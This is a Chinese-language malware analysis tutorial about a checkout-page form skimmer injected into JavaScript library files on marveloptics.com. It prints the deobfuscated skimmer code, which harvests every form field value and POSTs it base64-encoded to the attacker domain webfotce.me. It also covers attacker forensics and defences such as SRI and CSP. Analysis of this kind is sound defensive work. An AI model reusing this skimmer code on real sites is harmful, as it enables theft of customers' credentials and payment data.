逆向分析marveloptics.com上感染的JS恶意代码
字数 1898 2025-08-29 08:32:24
JavaScript恶意代码逆向分析教学文档
1. 恶意代码概述
这段恶意代码被发现注入在marveloptics.com网站的JavaScript库文件中,主要功能是窃取用户结账表单数据并发送到攻击者控制的服务器。
1.1 攻击特点
- 注入位置:伪装成Modernizr和OpenID等常用库文件
- 目标数据:网页表单中的输入数据(用户名、密码、支付信息等)
- 数据发送目标:
https://webfotce.me/js/form.js - 攻击者:与中国福建的"Wuxi Yilian LLC"公司有关联
2. 恶意代码注入技术
2.1 选择注入点
攻击者选择将恶意代码注入到以下类型的文件中:
modernizr.jsopenid.js
选择这些文件的原因:
- 这些库通常包含压缩过的代码,使混淆后的恶意代码更难被发现
- 开发者很少升级这些依赖库,恶意代码可以长期存在
- 这些库通常在所有页面加载,增加了攻击覆盖面
3. 代码反混淆技术
3.1 初始混淆状态
原始代码经过javascriptobfuscator.com等工具混淆,变量名被替换为无意义的字符串。
3.2 反混淆步骤
- 使用js-beautify工具进行基础格式化:
js-beautify -x -s 2 original/openid.js
- 手动分析并重命名变量,还原代码可读性
4. 恶意代码功能分析
4.1 主要功能模块
4.1.1 用户标识生成
myid: (function(cookieName) {
// 检查cookie中的`setidd`字段
var id = document.cookie.match(new RegExp("( + cookieName.replace(/(g, "\\$1") + "= ));
return id ? decodeURIComponent(id[1]) : undefined;
})("setidd") || (function() {
// 如果cookie不存在,生成新ID并保存到cookie
var timestamp = new Date();
var id = timestamp.getTime() + "-" +
Math.floor(Math.random() * (999999999 - 11111111 + 1) + 11111111);
var expiration = new Date(new Date().getTime() + 60 * 60 * 24 * 1000);
document.cookie = "setidd=" + id + "; path=/; expires=" + expiration.toUTCString();
return id;
})()
功能:
- 检查cookie中是否存在"setidd"字段
- 如果不存在,生成唯一ID并存储在cookie中
- ID格式:
[时间戳]-[随机数](如1529853014535-289383517) - cookie有效期为24小时
4.1.2 数据窃取功能
stealData: function() {
Malware.data = null;
var elements = document.querySelectorAll("input, select, textarea, checkbox, button");
for (var i = 0; i < elements.length; i++) {
if (elements[i].value.length > 0) {
var name = elements[i].name;
if (name == "") { name = i };
Malware.data += elements[i].name + "=" + elements[i].value + "&";
}
}
}
功能:
- 收集页面中所有input、select、textarea、checkbox和button元素的值
- 格式化为
name=value形式并用&连接 - 存在bug:初始时
data为null,拼接字符串会产生nullname=value&...
4.1.3 事件监听设置
// 为按钮添加点击事件监听
var elements = document.querySelectorAll("a[href*='javascript:void(0)'],button, input, submit, .btn, .button");
for (var i = 0; i < elements.length; i++) {
var element = elements[i];
if (element.type != "text" && element.type != "select" &&
element.type != "checkbox" && element.type != "password" &&
element.type != "radio") {
if (element.addEventListener) {
element.addEventListener("click", Malware.stealData, false);
} else {
element.attachEvent("onclick", Malware.stealData);
}
}
};
// 为表单添加提交事件监听(存在bug)
var formElements = document.querySelectorAll("form");
for (vari = 0; i < formElements.length; i++) {
if (formElements[i].addEventListener) {
formElements[i].addEventListener("submit", Malware.stealData, false);
} else {
formElements[i].attachEvent("onsubmit", Malware.stealData);
}
};
功能:
- 为页面中所有按钮和可点击元素添加点击事件监听,触发时执行数据收集
- 为所有表单添加提交事件监听
- 存在bug:
vari拼写错误导致表单提交监听可能不工作
4.1.4 数据发送功能
if (Malware.data != null) {
var hostname = location.hostname.split(".").slice(0).join("_") || "nodomain";
var data = btoa(Malware.data); // base64编码
var xhr = new XMLHttpRequest();
xhr.open("POST", Malware.url, true);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send("info=" + data + "&hostname=" + hostname + "&key=" + Malware.myid);
};
功能:
- 将收集的数据进行base64编码
- 通过POST请求发送到攻击者服务器
- 包含主机名(点替换为下划线)和用户ID
- 每30毫秒尝试发送一次数据
4.2 执行入口
if ((new RegExp("onepage|checkout|onestep", "gi")).test(window.location)) {
Malware.send();
}
触发条件:
- 只在URL包含"onepage"、"checkout"或"onestep"的页面执行
- 主要针对结账页面
5. 攻击技术分析
5.1 持久性技术
- 使用cookie存储用户ID,24小时有效期内可识别同一用户
- 注入到常用库文件中,长期存在不被发现
5.2 数据收集技术
- 广泛收集各种表单元素数据
- 包含输入框、下拉菜单、复选框等多种表单元素
5.3 数据外传技术
- 使用XMLHttpRequest发送数据
- 数据经过base64编码
- 发送到第三方域名
webfotce.me
5.4 规避检测技术
- 代码混淆增加分析难度
- 只在特定页面触发减少暴露风险
- 使用HTTPS协议传输数据
6. 代码中的缺陷
6.1 编程错误
-
字符串拼接时未初始化变量:
Malware.data = null; Malware.data += elements[i].name + "=" + elements[i].value + "&";结果会产生
nullname=value&... -
变量名拼写错误:
for (vari = 0; i < formElements.length; i++)应该是
var i = 0
6.2 逻辑问题
- 每30毫秒执行一次send(),性能影响大
- 表单提交事件监听可能不工作
7. 防御措施
7.1 网站管理员防护
- 定期检查第三方库文件的完整性
- 使用Subresource Integrity (SRI)确保加载的脚本未被篡改
- 实施内容安全策略(CSP)限制外部连接
- 定期更新所有依赖库
7.2 开发者防护
- 使用代码签名验证脚本来源
- 监控异常的网络请求
- 实现输入验证和输出编码
7.3 用户防护
- 使用广告拦截器/隐私保护扩展
- 启用浏览器安全功能
- 注意浏览器警告提示
8. 取证信息
8.1 攻击者信息
- 域名:
webfotce.me - 注册商:Bizcn.com
- 注册公司:中国福建"Wuxi Yilian LLC"
- 创建时间:2016-10-28
8.2 攻击时间线
- marveloptics.com在2017年1月至6月期间被感染
- 至少持续了一年时间窃取客户信息
9. 总结
这段恶意代码展示了常见的表单劫持技术,虽然代码质量不高但足以造成危害。攻击者通过注入常用库文件实现长期潜伏,专门针对结账页面窃取敏感信息。防御此类攻击需要多层防护措施,包括代码完整性检查、网络请求监控和严格的内容安全策略。